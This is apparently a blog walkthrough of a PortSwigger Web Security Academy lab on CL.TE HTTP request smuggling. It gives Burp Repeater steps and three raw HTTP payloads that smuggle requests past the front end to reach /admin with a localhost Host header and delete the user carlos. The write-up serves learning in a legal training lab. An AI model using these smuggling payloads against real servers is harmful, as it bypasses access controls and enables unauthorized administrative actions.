24.4 Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability | 2024

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos | Karthikeyan Nagaraj

Karthikeyan Nagaraj
3 min readApr 30, 2024

Description

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

Note

  • Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.
  • And Make sure to Change the Content Length According to the Request.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Solution

  1. Try to visit /admin and observe that the request is blocked.
  2. In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.
  3. Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Note

You need to include the trailing sequence \r\n\r\n following the final 0. Which means you have to add 2 lines below the 0.

4. Observe that the merged request to /admin was rejected due to not using the header Host: localhost.

5. Issue the following request twice:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1

6. Observe that you can now access the admin panel.

7. Using the previous response as a reference, change the smuggled request URL to delete carlos:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

--

--

Karthikeyan Nagaraj

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer